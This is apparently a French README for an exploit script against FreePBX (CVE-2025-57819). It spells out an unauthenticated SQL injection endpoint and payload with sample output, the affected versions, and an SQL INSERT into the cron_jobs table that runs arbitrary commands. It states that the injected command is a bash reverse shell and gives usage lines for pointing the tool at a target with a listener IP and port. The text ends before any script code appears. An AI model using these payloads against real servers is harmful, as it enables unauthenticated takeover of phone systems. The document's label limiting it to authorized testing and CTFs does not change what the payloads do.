
CVE-2025-57819 -> rce
Exploit one-shot pour l'injection SQL non authentifiée du Endpoint Manager de FreePBX
(CVE-2025-57819), chaînée en exécution de code à distance via la
table cron_jobs de FreePBX.
Réservé aux tests de sécurité autorisés / CTF.
Le gestionnaire Ajax du module endpoint concatène le paramètre brand directement
dans une requête SQL, et le chemin du module FreePBX\modules\endpoint\ajax
contourne la vérification Referrer/authentification Ajax. Cela donne une
injection SQL non authentifiée basée sur les erreurs (via EXTRACTVALUE), avec
des écritures par requêtes empilées activées.
Point d'injection :
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax
&command=model&template=x&model=model&brand=<INJECTION>
Preuve (lecture par erreur) :
brand=x' AND EXTRACTVALUE(1,CONCAT('~',(SELECT USER()),'~')) -- -
→ {"error":{"message":"... XPATH syntax error: '~freepbxuser@localhost~' ..."}}
Versions concernées : FreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3.
L'injection est en lecture seule par elle-même, mais les requêtes empilées permettent
les écritures. FreePBX exécute les tâches de la table cron_jobs via son gestionnaire
cron, donc insérer une ligne permet l'exécution arbitraire de commandes (dans les ~60s,
planification * * * * *) :
INSERT INTO cron_jobs
(modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)
VALUES ('sysadmin','<job>','<os-command>',NULL,'* * * * *',30,1,1);
La commande injectée est un reverse shell bash. La ligne cron est supprimée automatiquement après le premier callback pour éviter des connexions répétées.
pip install requests urllib3
Python 3. La détection d'IP intégrée (-i/--interface) est Linux uniquement ; utilisez
--ip sur les autres plateformes.
# Défauts : interface tun0, port 4444 — démarre l'écouteur, exploite, donne un shell
python3 exploit.py http://{cible}
# Choisir une interface / un port différent
python3 exploit.py http://{cible} -i eth0 -p 9001
# Définir l'IP de l'écouteur explicitement
python3 exploit.py http://{cible} --ip 10.10.15.52
python3 exploit.py --help
Le script :